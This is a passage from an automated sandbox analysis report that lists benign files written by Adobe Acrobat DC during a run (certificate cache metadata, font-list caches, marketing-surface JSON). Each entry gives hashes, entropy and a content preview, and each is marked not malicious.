SHA-512:	196FF6C9491EC67F3B930D6A0BD7E59C662CD9C46B3A31E9FE4ED83A13E022BFD6EB58DD3AE74B892874882123CFDF1100FA7FB352B63371A3877B0E6A1370D7
Malicious:	false
Preview:	p...... ........,..iWf..(....................................................... ..........W....>...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kKRL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:JiDnLNkPlE99SNxAhUe/3
MD5:	1E58DE0674045867E56EED897796EABA
SHA1:	64B59E61B6C772A8FE0FF1C5EB70C42C357FE090
SHA-256:	B78AAE9326C42D6754A7E88E43FF13078A925304A6E1A7C7C46F8DA833299137
SHA-512:	2708EBCA5B0DFA0B54692A053B9D53F95CD24570FEA39634418F4201B0A07691D0B970C6B23891BDCE9C3699F524854F5EDABE671EA8BBDDADB8B113CC977E3F
Malicious:	false
Preview:	p...... .........Dg.Wf..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.354978839639092
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJM3g98kUwPeUkwRe9:YvXKXh6wYpW7yRGMbLUkee9
MD5:	7CA232550C324D0E5AD9B8D1C46C128F
SHA1:	21E438475970E1772ACAAE649ED42AD722403F1D
SHA-256:	65346B6496229982633AE2D0E8F17AD61969C3CC9EDBD948BB03D3B2B1F27AA0
SHA-512:	A08906FDF21E62B1ABBD297C4B2BA10D8AAF7E3CE252754E8F13FEBA610DE076A834E6734FF9DDA2C23998B2E00CEAD581F6C3B6E53872B16D1DA33C62044533
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294758734329362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfBoTfXpnrPeUkwRe9:YvXKXh6wYpW7yRGWTfXcUkee9
MD5:	BFFCC0FAC113E250D051767BF1ECD311
SHA1:	89064CC2DDC4E7868405A2A43AF4099036F5A724
SHA-256:	4FD8AAAA0AD5F5395A9A861273FC5255A884FD197A81FE7B7FE8DA19133A5ACA
SHA-512:	6F2057BDF5B1B5A6092010BD7B81A4823265901E0DAF4F444B2B20134AD784D54B9BA5EBEE0347DDBD34EFB1A55DE9652E1E1A53A40860E540209637061AF89D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2734649485562395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfBD2G6UpnrPeUkwRe9:YvXKXh6wYpW7yRGR22cUkee9
MD5:	8A832BD08C61EB7E062BB057072A59A0
SHA1:	19FB6BE03EC73FB021E98B47B5B1DAB81FE5F1C7
SHA-256:	4FC086224C73E5F6648645A7B8B938CC6F2D77C8FFD6E84D0E09D5D7A6EEDB2D
SHA-512:	E0E41EDAFE73141075C1C1ED12A45C57672AD42A9F4682090B3E8274D8B1A72321749B7419D62FE3AB10B85039FCFA16DDF96084B34693A57D7860515F15DF89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333577522672743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfPmwrPeUkwRe9:YvXKXh6wYpW7yRGH56Ukee9
MD5:	03E0ACEEB563B332B5420B194C75AFB9
SHA1:	A61B9EBC079F8246013779BEA3687425F087F709
SHA-256:	163D29C12900EC173B44B2327512810B5110C6EA4A2838AA555637D9C17A11ED
SHA-512:	1FFC6F7F102245996BD90DEA934B1C6EDC8D11174A0EA90328D6F6FB31F231365B64F79086B7AC7AF7C05B5F319C03C3B239489DB641DDD396B90BD01FF50EF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695650464583398
Encrypted:	false
SSDEEP:	24:Yv6XeihpLgE9cQx8LennAvzBvkn0RCmK8czOCCSb:YvChhgy6SAFv5Ah8cv/b
MD5:	A49E5725A1ACFBB566FC55B1700CF1FB
SHA1:	80EDF613ED29CDD6A208A041DDBA6BD97374E1C5
SHA-256:	10A11D1120AA9E29F9A6AE563364E8A221F59BFE4ECF156FE051A3055C571CE5
SHA-512:	DED641E639DA4C3CB34F30AB03454F2C9654F83970A28F04083D574411DDB6CA29D37659915B3950966FC78EAA5A3C78F4E2F6AA99993DF405B66EE325DC5B71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282789652772988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJf8dPeUkwRe9:YvXKXh6wYpW7yRGU8Ukee9
MD5:	908DFD8E6055E8607B96124D00F6ED42
SHA1:	8C846F0E1C4CDB32B6EC92424E20A86ED3803219
SHA-256:	65FDBB2A2EF6F8F22239C111610085DF8EADBCB7E4F1A5D464A4287FBFAB13A8
SHA-512:	3BB45CF959F3E2BA42A4C16F7D92A32DBBE26F52E66F8E1393FFAA426CDD8A850955E0B98A30643F5E6F5AF870421D814C74CF189194DB0DC3187B31259AC44F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.283921672840728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfQ1rPeUkwRe9:YvXKXh6wYpW7yRGY16Ukee9
MD5:	7553F199BC6A6F9897B05139CB452997
SHA1:	63192066E74F2EA42D68D1746FDF736BDB1B93BF
SHA-256:	84B771BD89F1912E74D00AFB8609D23AE9982A84E9C7EFB2E4F72596167848AD
SHA-512:	7D701AF10A8159A3099F906B28D1520ED8169D612C27B0A2F41C3CD02CAEEDAA4DEA4F1B21040126BD76809D1321D8F488E1DE61931C9FEAACDFC740919E0DAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305073186396188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfFldPeUkwRe9:YvXKXh6wYpW7yRGz8Ukee9
MD5:	483BD3F097E006772DD94310B6D74C01
SHA1:	33E36F994DBFBA7F1459D429FC9654C2504403BB
SHA-256:	5EAB4F3044AE38DE7BD770C82685C9A130D47B6A6097571E56580ADA55616040
SHA-512:	9522F660D97339DC9E3227749AA38EE076E70D3569500C643CDA4B54D94D3A18B039D67F0250463181740CF559E75FBC284F56EEAA8B9CA011EECDB223BEF620
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310391944830692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfzdPeUkwRe9:YvXKXh6wYpW7yRGb8Ukee9
MD5:	8BBF4C02FE9118DDA6E32E9F38F9BC24
SHA1:	336EA058C2195957F1FCE65185857E4F2171BAD5
SHA-256:	0AC4BC924FC0DA6B8A7B13DD08AB49D754BAAB886FFD031F8C49FE69BA43226D
SHA-512:	D8FE6627B75FB32FA151E70E0AA767ADE2452BEB2EC40C1C1CBA5E5AAEC6E98DD6626519B1B19855AB50E9D4261DD9E440E53B5F8E1C256FB6C2F1A21CD889A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290555606358782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfYdPeUkwRe9:YvXKXh6wYpW7yRGg8Ukee9
MD5:	D801DCD6310862A6ACC3793204E23DC0
SHA1:	E044331A4CA86F5FADF34096E07F973092A66A50
SHA-256:	048E03ABFC6ECDAAE5CB72CC8F5B0429C97C89CFD776926F4D358F090B3E986D
SHA-512:	574CB4691F6E400335DD9705AF5A603F17E7B8E113BB26E1D2DC514C6866F1682099A45615DFF6B14ABD0783E08FAA949D0F5D644A0CC88A462FBC0BD4D829CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2764397046457185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJf+dPeUkwRe9:YvXKXh6wYpW7yRG28Ukee9
MD5:	9BCDCBE349FF0EF20283CCE173112783
SHA1:	F7E019168A632C1B54B25C7C6DF2EF5295E2E313
SHA-256:	C52300B30CB69DB91E5CF989FE1A5618959AE6645F2D2793F88C7D575E58A03D
SHA-512:	DE2BAABB81370B76C689089195A925BC83600F90E7DEA29DD1D0DF580D66F73B8D2C140F0DADE44A8137597B5691800E5C68925B669BD5B52066CFA7ABBE9A16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274167613954578
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfbPtdPeUkwRe9:YvXKXh6wYpW7yRGDV8Ukee9
MD5:	6AC720F7780662A78EDAEE33FD32CC9D
SHA1:	57CED3A732EDD2C962FB4CFAD68C5EA2807B1753
SHA-256:	EE95AA03E7DF551171FC87F5F346CFFB34523C7A9FC95AF51E9D17FD7B6E113A
SHA-512:	1FFB6908692D60C8E9A6FD010EE5F0773CE790940DFC428E2826FB909B9F5A23750BD91A0D2015DA4F305235104BDF8A2FE09D9467D3AA8208001948F9845396
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2753957281150745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJf21rPeUkwRe9:YvXKXh6wYpW7yRG+16Ukee9
MD5:	9E9821C8B8D21897961DFCB302975E62
SHA1:	F5AEB87A43877E9501BDA726AAB443C8249B87CF
SHA-256:	792BA444623D4F77931F27E09CF017DA598A8486757EF7C92684463F35884721
SHA-512:	F94DA0240BBFF8E29894B9BE84B05F00105553DF27D6EE8D6AD8378496EC3EFD09784CBDCF70A38482C94700F1CFC8D4361E86C630EC2AB4BCA1689C26DE51D6
Malicious:	false
